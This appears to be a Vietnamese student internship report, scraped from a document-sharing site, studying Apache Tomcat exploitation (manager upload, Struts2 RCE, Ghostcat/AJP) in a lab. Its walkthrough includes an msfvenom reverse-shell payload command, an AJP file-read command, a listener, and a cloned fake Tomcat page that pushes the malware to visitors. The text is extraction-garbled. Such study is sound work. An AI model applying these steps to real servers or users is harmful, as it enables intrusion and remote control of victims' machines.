Cấu trúc của Apache Tomcat web serverApache Tomcat có nhiều ứng dụng và cung cấp nhiều tiện ích trong việc phát triển và Triển khai ứng dụng web Java: • Mơi trường phát triển và kiểm thử
NGYỄN NGỌC TIỂU LONG BỘ THÔNG TIN VÀ TRUYỀN THÔNG HỌC VIỆN CƠNG NGHỆ BƯU CHÍNH VIỄN THƠNG - MSSV : N19DCAT045 LỚP : D19CQAT01-N BÁO CÁO THỰC TẬP TỐT NGHIỆP ĐẠI HỌC Đề tài: “ NGHIÊN CỨU KHAI THÁC LỖ HỔNG TRÊN APACHE TOMCAT” 2019 – 2024 Người hướng dẫn Sinh viên thực Mã số sinh viên Lớp Khóa Hệ : : : : : : ThS PHAN NGHĨA HIỆP NGUYỄN NGỌC TIỂU LONG N19DCAT045 D19CQAT01-N 2019-2024 ĐẠI HỌC CHÍNH QUY TP.HCM 2023 TP.HCM tháng năm 2023 BỘ THÔNG TIN VÀ TRUYỀN THƠNG HỌC VIỆN CƠNG NGHỆ BƯU CHÍNH VIỄN THÔNG - BÁO CÁO THỰC TẬP TỐT NGHIỆP ĐẠI HỌC Đề tài: “ NGHIÊN CỨU KHAI THÁC LỖ HỔNG TRÊN APACHE TOMCAT” Người hướng dẫn Sinh viên thực Mã số sinh viên Lớp Khóa Hệ : : : : : : ThS PHAN NGHĨA HIỆP NGUYỄN NGỌC TIỂU LONG N19DCAT045 D19CQAT01-N 2019-2024 ĐẠI HỌC CHÍNH QUY TP.HCM tháng năm 2023 LỜI CẢM ƠN Lời cảm ơn em đủ để diễn tả hết lòng biết ơn lịng tơn kính em cống hiến đóng góp q thầy suốt thời gian em học trường Học Viện Công Nghệ Bưu Chính Viễn Thơng Thật sự, em có hội trau dồi kiến thức rèn luyện thân hướng dẫn tận tâm thầy cô, em đánh giá giá trị điều Với lịng biết ơn chân thành, em xin gửi lời cảm ơn đặc biệt tới ThS Phan Nghĩa Hiệp, người dành thời gian công sức hướng dẫn em trình nghiên cứu thực hành đề tài Nhờ hỗ trợ động viên thầy, em vượt qua khó khăn, trở ngại phát triển kỹ tư nghiên cứu Thầy không truyền đạt kiến thức cách chun sâu mà cịn khuyến khích em phát triển tinh thần làm việc nghiêm túc Em muốn gửi lời cảm ơn tới ban lãnh đạo Công ty tạo điều kiện cho em thực tập công ty Được làm việc môi trường thực tế, em có hội áp dụng kiến thức học vào thực tế trau dồi kỹ chuyên môn Dù em nhận thức làm cịn nhiều thiếu sót, em đặt hy vọng nhận thơng cảm đóng góp ý kiến xây dựng từ quý thầy cô tất thành viên cơng ty Những góp ý đề xuất giúp em tiếp tục hoàn thiện phát triển thân tương lai Cuối cùng, em xin chúc mừng quý thầy cô khoa Công nghệ thông tin thầy Phan Nghĩa Hiệp vô dồi sức khỏe để tiếp tục sứ mệnh cao truyền đạt kiến thức cho hệ mai sau TP Hồ Chí Minh, ngày 12 tháng năm 2023 SINH VIÊN THỰC HIỆN ĐỀ TÀI Nguyễn Ngọc Tiểu Long Nguyễn Ngọc Tiểu Long - N19DCAT045 i MỤC LỤC LỜI CẢM ƠN i MỤC LỤC ii DANH MỤC CÁC THUẬT NGỮ, CHỮ VIẾT TẮT v DANH SÁCH HÌNH VẼ vi LỜI MỞ ĐẦU 1 Mục tiêu Phương pháp nghiên cứu CHƯƠNG I: GIỚI THIỆU VỀ APACHE TOMCAT 1.1 Tổng quan Apache Tomcat 1.1.1 Apache Tomcat ? 1.1.2 Ứng dụng Apache Tomcat 1.2 Ưu điểm nhược điểm Apache Tomcat 1.2.1 Ưu điểm Apache Tomcat: 1.2.2 Nhược điểm Apache Tomcat: CHƯƠNG II: TÌM HIỂU CÁC MƠ HÌNH APACHE TOMCAT EXPLOITATION 2.1 Khái niệm Apache Tomcat Exploitation 2.2 Các kịch Apache Tomcat Exploitation 2.2.1 TOMCAT_MGR_UPLOAD 2.2.1.1 Khái quát 2.2.1.2 Kịch công 2.2.2 TOMCAT_MGR_LOGIN 2.2.2.1 Khái quát 2.2.2.2 Kịch công Nguyễn Ngọc Tiểu Long - N19DCAT045 ii 2.2.2.3 2.2.3 Phòng chống APACHE STRUTS2 REST PLUGIN RCE 2.2.3.1 Khái quát 2.2.3.2 Kịch công 2.2.3.3 Phòng chống 10 2.2.4 GHOSTCAT 10 2.2.4.1 Khái quát 11 2.2.4.2 Kịch công 11 2.2.4.3 Phòng chống 11 2.2.5 APACHE TOMCAT AJP 12 2.2.5.1 Khái quát 12 2.2.5.2 Kịch công 12 2.2.5.3 Phòng chống 12 2.2.6 Apache Struts2 REST plugin XStream RCE Vulnerability 13 2.2.6.1 Khái quát 13 2.2.6.2 Kịch công 13 2.2.6.3 Phòng chống 13 CHƯƠNG III: XÂY DỰNG VÀ TRIỂN KHAI CÁC MƠ HÌNH APACHE TOMCAT EXPLOITATION 15 3.1 Cài đặt mơ hình 15 3.1.1 Cài đặt môi trường chạy 15 3.1.2 Cài đặt môi trường mạng 15 3.1.3 Thực nghiệm mơ hình TOMCAT_MGR_UPLOAD 17 3.1.4 Thực nghiệm mơ hình APACHE STRUTS2 PLUGIN RCE 21 Nguyễn Ngọc Tiểu Long - N19DCAT045 iii 3.1.5 Thực nghiệm mơ hình GHOSTCAT 28 3.1.6 Thực nghiệm mơ hình Apache Tomcat AJP 31 KẾT LUẬN 36 DANH MỤC CÁC TÀI LIỆU THAM KHẢO 37 Nguyễn Ngọc Tiểu Long - N19DCAT045 iv Recommended for you Document continues below 160 American English File Student's Book Kế tốn hành chính… 100% (7) Correctional Administration Criminology 96% (113) English - huhu 10 10 Led hiển thị 100% (3) Preparing Vocabulary FOR UNIT Led hiển thị 100% (2) DANH MỤC CÁC THUẬT NGỮ, CHỮ VIẾT TẮT Viết tắt Ý nghĩa JSP HTTP WEB TOMCAT_MGR_UPLOAD JavaServer Pages Hypertext Transfer Protocol World Wide Web Tomcat Manager Upload (đề cập đến lỗ hổng bảo mật Tomcat Manager) RSA SecurID (một phương thức xác thực hai yếu tố) One-Time Password (Mật lần) Intrusion Detection System/Intrusion Prevention System (Hệ thống phát hiện/ngăn chặn xâm nhập) Remote Code Execution (Thực thi mã từ xa) Common Vulnerabilities and Exposures 2017-5638 (Số tham chiếu cho lỗ hổng bảo mật cụ thể) Common Vulnerability Scoring System 9.8 (Hệ thống đánh giá lỗ hổng bảo mật) Internet Protocol (Giao thức Internet) Denial of Service (Tấn công từ chối dịch vụ) Apache JServ Protocol (Giao thức Apache JServ) Apache Module for Tomcat Connector (Mô-đun Apache dùng để kết nối với Tomcat) Apache Module mod_proxy (Mô-đun Apache dùng để proxy) Secure Sockets Layer/Transport Layer Security (Giao thức lớp ổn định cho ổn định/ Bảo mật lớp vận chuyển) Man-in-the-Middle (Kẻ thao túng giữa) eXtensible Markup Language (Ngôn ngữ đánh dấu mở rộng) VMware Virtual Network Adapter (Bộ chuyển đổi mạng ảo VMware) Web Application Archive (Định dạng file đóng gói ứng dụng web) Mã định danh lỗ hổng bảo mật cụ thể Ghostcat (mã lỗ hổng bảo mật CNVD_2020-10487) RSA secureID OTP IDS/IPS RCE CVE-2017-5638 CVSS 9.8 IP Dos AJP Mod_jk Mod_proxy SSL/TLS MITM XML Vmnet3 WAR GHOSTCAT_CNVD_202010487 Nguyễn Ngọc Tiểu Long - N19DCAT045 v DANH SÁCH HÌNH VẼ Hình 1.1 Biểu tượng Apache Tomcat Hình 1.2 Cấu trúc Apache Tomcat web server Hình 2.1 Mơ tả Tomcat Manager Login Hình 2.2 Mơ tả Exploitation Rest Struts2 Hình 2.3 Hình ảnh mơ tả Ghostcat 10 Hình 3.1 Card mạng lớp mạng sử dụng máy Attacker 15 Hình 3.2 Card mạng lớp mạng máy Target 16 Hình 3.3 Kết quét port thực nmap 17 Hình 3.4 Xác định thơng tin cổng Version dịch vụ Apache Tomcat 17 Hình 3.5 Kết quét Modules sẵn có Metaploit Framework dùng để khai thác Apache Tomcat 18 Hình 3.6 Kết thực Module Scan Tomcay_MGR_Login 18 Hình 3.7 Xác định thơng tin đăng nhập thành công 19 Hình 3.8 Cài đặt thơng tin cho Module Exploit Apache_MGR_Login 19 Hình 3.9 Thực hiên kết thu exploit tới máy Target 19 Hình 3.10 Một vài lệnh exploit thành công vào máy Target 20 Hình 3.11 Quét máy Target nmap để khai thác thông tin Hệ Điều Hành Http21 Hình 3.12 Giao diện Apache Tomcat Browser 22 Hình 3.13 Thơng tin Module scanner Tomcat_MGR_Login 22 Hình 3.14 Q trình thiết lập thơng tin để tiến hành Scan 23 Hình 3.15 Kết Login thành cơng vào Server Tomcat_MGR_Login 23 Hình 3.16 Dùng thơng tin đăng nhập vừa quét để Login vào Server 24 Nguyễn Ngọc Tiểu Long - N19DCAT045 vi Hình 3.17 Xác định mục để Upload file WAR lên Server 24 Hình 3.18 Quá trình tạo file WAR chưa mã độc 25 Hình 3.19 Các bước để thực Upload file WAR lên Server 25 Hình 3.20 Quá trình thiết lập thông tin để thực Exploit reverse_tcp 26 Hình 3.21 Lấy thơng tin file thực thi reverse_tcp thơng qua routing URL 26 Hình 3.22 Thành công thực exploit reverse_tcp 27 Hình 3.23 Dùng nmap để xác định thông tin dịch vụ AJP 28 Hình 3.24 Cấu trúc thư mục cách thực thi ajpShooter 28 Hình 3.25 Giao diện chương trình Ajp Shooter 29 Hình 3.26 Cấu trúc thư mục Website Project sử dụng Apache Tomcat 29 Hình 3.27 Kết nội dung số file mà Ajp Shooter quét 30 Hình 3.28 Địa IP máy Windows(Target) máy Kali Linux(Attacker) 31 Hình 3.29 Kết trình tạo file mã độc định dạng exe máy Attacker dựa dạng reverse_tcp 31 Hình 3.30 Các bước thiết lập lại URL Apache Tomcat giả mạo 32 Hình 3.31 Nội dung file mxl chứa giao diện giả mạo 32 Hình 3.32 Thực thi file để chạy Server giả mạo 33 Hình 3.33 Q trình thiết lập thơng tin để tiến hành exxploit 33 Hình 3.34 Các kịch sau người dùng truy cập vào Server giả mạo 34 Hình 3.35 Kịch người dùng chạy file chứa mã độc 34 Hình 3.36 Kết sau thành công exploit máy Target 35 Nguyễn Ngọc Tiểu Long - N19DCAT045 vii Báo cáo TTTN Đại học Chương III : Xây dựng triển khai mơ hình Apache Tomcat Exploitation Sau truy cập vào địa hình dưới, lắng nghe hồn thành exploit máy Target Hình 3.22 Thành công thực exploit reverse_tcp Nguyễn Ngọc Tiểu Long - N19DCAT045 27 Báo cáo TTTN Đại học 3.1.5 Chương III : Xây dựng triển khai mơ hình Apache Tomcat Exploitation Thực nghiệm mơ hình GHOSTCAT Lỗ hổng dựa AJP để khai thác, cần phải xác định xác Port nó: Hình 3.23 Dùng nmap để xác định thơng tin dịch vụ AJP Sau đó, tiến hành tải Ghostcat-CNVD-2020-10487 tác giả 00theway để khai thác lỗ hổng GHOSTCAT Dùng câu lệnh: git clone Hình 3.24 Cấu trúc thư mục cách thực thi ajpShooter Nguyễn Ngọc Tiểu Long - N19DCAT045 28 Báo cáo TTTN Đại học Chương III : Xây dựng triển khai mơ hình Apache Tomcat Exploitation Xác định thứ tự câu lệnh bảng tùy chọn -help Hình 3.25 Giao diện chương trình Ajp Shooter Cấu trúc webapp chạy Apache Tomcat server, ta nắm bắt điều thực khai thác thơng tin file Hình 3.26 Cấu trúc thư mục Website Project sử dụng Apache Tomcat Nguyễn Ngọc Tiểu Long - N19DCAT045 29 Báo cáo TTTN Đại học Chương III : Xây dựng triển khai mơ hình Apache Tomcat Exploitation Thực thi : python3 ajpShooter.py http://:8180 8009 read Hình 3.27 Kết nội dung số file mà Ajp Shooter quét Nguyễn Ngọc Tiểu Long - N19DCAT045 30 Báo cáo TTTN Đại học Chương III : Xây dựng triển khai mơ hình Apache Tomcat Exploitation 3.1.6 Thực nghiệm mơ hình Apache Tomcat AJP Với mơ hình triển khai viết server mạo danh Apache Tomcat với Python Khi người dùng click vào đường dẫn web tự động tải file chứa mã độc Chúng ta chuẩn bị máy mô hình gồm: Attacker (Kali Linux) Target (Windows) Hình 3.28 Địa IP máy Windows(Target) máy Kali Linux(Attacker) Đầu tiên tiến hành tạo file mã độc, cụ thể file exe dùng meterpreter hệ điều hành Windows ▪ Sử dụng lệnh: msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.236.128 lport=8765 -f exe -o ExploitTomcat.exe Hình 3.29 Kết trình tạo file mã độc định dạng exe máy Attacker dựa dạng Nguyễn Ngọc Tiểu Long - N19DCAT045 31 Báo cáo TTTN Đại học Chương III : Xây dựng triển khai mơ hình Apache Tomcat Exploitation reverse_tcp Sau cần phải thiết lập lại chút cấu trúc thư mục giá trị đường dẫn hình dưới: Hình 3.30 Các bước thiết lập lại URL Apache Tomcat giả mạo Từ thông tin quét từ file index.html mơ hình GHOSTCAT tạo interface web y hệt với Apache Tomcat thật Hình 3.31 Nội dung file mxl chứa giao diện giả mạo Nguyễn Ngọc Tiểu Long - N19DCAT045 32 Báo cáo TTTN Đại học Chương III : Xây dựng triển khai mơ hình Apache Tomcat Exploitation Sau đó, sử dụng python3 để thơng dịch chạy file Tomcat_Clone.py Hình 3.32 Thực thi file để chạy Server giả mạo Trong bước thiết lập cuối sử dụng exploit module: exploit/multi/handler để lắng nghe: Hình 3.33 Q trình thiết lập thơng tin để tiến hành exploit Nguyễn Ngọc Tiểu Long - N19DCAT045 33 Báo cáo TTTN Đại học Chương III : Xây dựng triển khai mơ hình Apache Tomcat Exploitation Khi người dùng đứng web giả mạo nhấp vào thẻ tự động tải file ExploitTomcat.exe Hình 3.34 Các kịch sau người dùng truy cập vào Server giả mạo Sau đó, người dùng chạy file ExploitTomcat.exe lên xâm nhập vào máy nạn nhân Hình 3.35 Kịch người dùng chạy file chứa mã độc Nguyễn Ngọc Tiểu Long - N19DCAT045 34 Báo cáo TTTN Đại học Chương III : Xây dựng triển khai mơ hình Apache Tomcat Exploitation Sau xâm nhập thành cơng, xem thơng tin hệ điều hành chụp hình hình ,… máy Target Hình 3.36 Kết sau thành cơng exploit máy Target Nguyễn Ngọc Tiểu Long - N19DCAT045 35 Báo cáo TTTN Đại học KẾT LUẬN Thông qua việc nắm vững khái niệm tính Apache Tomcat, với thực nghiệm tảng này, chứng minh quan trọng việc triển khai bảo mật quản lý an toàn cho máy chủ web Apache Tomcat Server quan trọng đến Chúng ta rút kết luận cơng xâm nhập vào máy chủ web dẫn đến hậu nghiêm trọng liệu nhạy cảm, kiểm soát hệ thống bị mất, ảnh hưởng đến danh tiếng niềm tin khách hàng tổ chức Để hiệu việc vận hành tăng cường bảo mật,thì việc kết hợp kiến thức mạng máy tính, bảo mật thơng tin, mã độc với khả lập trình, phân tích phán đốn vơ cần thiết Thêm vào đó, cần hiểu rõ tư đa dạng cách thức hành động kẻ xâm nhập nhằm giúp xây dựng chiến lược ngăn chặn hiệu hơn, đồng thời đảm bảo an toàn cho hệ thống Hơn nữa, việc nghiên cứu thực nghiệm máy chủ web Apache Tomcat đóng vai trị quan trọng việc nâng cao kiến thức kỹ bảo mật mạng Web Server nói chung cho người bảo mật quản trị hệ thống sau Nguyễn Ngọc Tiểu Long - N19DCAT045 36 Báo cáo TTTN Đại học DANH MỤC CÁC TÀI LIỆU THAM KHẢO Tiếng Việt [1] Apache Tomcat gì? Tìm hiểu tổng quan Apache Tomcat https://itnavi.com.vn/blog/apache-tomcat-la-gi, Tác giả: ITNavi, truy cập ngày 02/08/2023 [2] Top 10 công ứng dụng web phổ biến giải pháp tăng cường bảo mật hiệu cho doanh nghiệp https://bizflycloud.vn/tin-tuc/top-10-cuoc-tan-cong-ung-dung-web-pho-bien-vagiai-phap-tang-cuong-bao-mat-hieu-qua-cho-doanh-nghiep20221229161751299.htm, Tác giả: Chiptl, truy cập ngày 02/08/2023 [3] Hướng dẫn khai thác lỗ hổng "GhostCat" Webserver Apache Tomcat Hướng dẫn khai thác lỗ hổng "GhostCat" Webserver Apache Tomcat | WhiteHat.vn, truy cập ngày 02/08/2023 [4] Hướng dẫn Khai thác website tự động với Yuki Chan The Auto Pentest Hack Website I Kali Linux 2017.2 Hướng dẫn Khai thác website tự động với Yuki Chan The Auto Pentest Hack Website I Kali Linux 2017.2 | WhiteHat.vn, truy cập ngày 29/07/2023 [5] GhostCat - Lỗ hổng nghiêm trọng ảnh hưởng đến máy chủ Apache Tomcat GhostCat - Lỗ hổng nghiêm trọng ảnh hưởng đến máy chủ Apache Tomcat (mic.gov.vn), truy cập ngày 29/07/2023 [6] Lỗ hổng bảo mật Apache Tomcat chiếm quyền điều khiển máy chủ Lỗ hổng bảo mật Apache Tomcat chiếm quyền điều khiển máy chủ (thanhnien.vn), truy cập ngày 29/07/2023 [7] Apache Tomcat vá lỗ hổng bảo mật quan trọng Apache Tomcat vá lỗ hổng bảo mật quan trọng (danhvo.net), truy cập ngày 27/07/2023 [8] Phát lỗ hổng nguy hiểm triệu máy chủ web Nguyễn Ngọc Tiểu Long - N19DCAT045 37 Báo cáo TTTN Đại học Phát lỗ hổng nguy hiểm triệu máy chủ web (congan.com.vn), truy cập ngày 27/07/2023 [9] Cơng cụ miễn phí giúp doanh nghiệp, tổ chức kiểm tra máy chủ có tồn lỗ hổng Ghostcat Cơng cụ miễn phí giúp doanh nghiệp, tổ chức kiểm tra máy chủ có tồn lỗ hổng Ghostcat (vietnamnet.vn), truy cập ngày 18/07/2023 [10] lỗ hổng thực thi mã lệnh từ xa nguy hiểm năm 2020 lỗ hổng thực thi mã lệnh từ xa nguy hiểm năm 2020 (binhthuan.gov.vn),truy cập ngày 18/07/2023 Tiếng Anh [11] Apache Tomcat Manager Authenticated Upload Code Execution – Metaploit https://pentestlab.blog/2012/03/22/apache-tomcat-exploitation/, Tác giả: rapid7, truy cập ngày 02/08/2023 [12] Using Metaploit To Create A WAR Backdoor https://pentestlab.blog/2012/08/26/using-metasploit-to-create-a-war-backdoor/, Tác giả: Administrator, truy cập ngày 02/08/2023 [13] Bramer, M (2007), Principles of Data Mining, Spring-Verlag London limited [14] Apache Tomcat Exploit Poised to Pounce, Stealing Files https://threatpost.com/apache-tomcat-exploit-stealing-files/154055/ , truy cập ngày 02/08/2023 [15] Jason Brittain, Ian F Darwin (2012), Tomcat : The definitive Guide, O’reilly Media Inc [16] Tomcat - Hacktricks https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat, truy cập ngày 02/08/2023 [17] Http Server: a simple static HTTP server http-server - npm (npmjs.com), truy cập ngày 25/07/2023 [18] Tomcat Directory Structure Nguyễn Ngọc Tiểu Long - N19DCAT045 38 Báo cáo TTTN Đại học Tomcat Directory Structure (x10hosting.com), truy cập ngày 12/07/2023 [19] A Simple Java Web Server A Simple Java Web Server (x10hosting.com), truy cập ngày 13/07/2023 [20] Directory Structure in Ubuntu (Linux) tomcat Tutorial => Directory Structure in Ubuntu (Linux) (riptutorial.com), truy cập ngày 01/08/2023 [21] M.R Tolun, S.M Abu-Soud (1998), “ ILA: An inductive learning algorithm for production rule discovery”, Expert Systems with Applications, 14(3), pp 361– 370 [22] Parisa Kaghazgaran, Majid AlfifiTexas, James Caverlee ( 2019), “TOmCAT: TargetOriented Crowd Review Attacks and Countermeasures”, The IUP Proceedings of the International AAAI Conference on Web and Social Media, Vol V, No [23] Rony G Flatcher (1999), “Apache Tomcat: Enabling Scripting Languages in JSPs”, IEEE Press Institute for Information Systems and Society [24] Payam Refaeilzadeh, Lei Tang, Huan Liu (2009), Encyclopedia of Database Systems, Arizona State University, Springer US, pp 532-538 [25] Rashmi Jha ( 2014), “Association Rules Mining for Business Intelligence”, International Journal of Scientific and Research Publications, Vol [26] Remko R Bouckaert, Eibe Frank, Mark Hall, Richard Kirkby, Peter Reutemann, Alex Seeward, David Scuse (2009), Weka Manual for Version 3.7.0, The University of Waikato Nguyễn Ngọc Tiểu Long - N19DCAT045 39 More from: Ngoc Tieu Long… 191 Học viện Công nghệ… Discover more M24 - an An toàn ứng dụng web và… None DOMH Group 14 47 36 20 An toàn ứng dụng web và… None Qlattt De Xuat Cho Ngan Hang Quản Lý An Tồn Thơng Tin None Do An Cuoi Ki - Metaploits labs: +… An Toàn Mạng Recommended for you None American English File 160 Student's Book Kế tốn hành chính… 100% (7) Correctional Administration Criminology 96% (113) English - huhu 10 10 Led hiển thị 100% (3) Preparing Vocabulary FOR UNIT Led hiển thị 100% (2)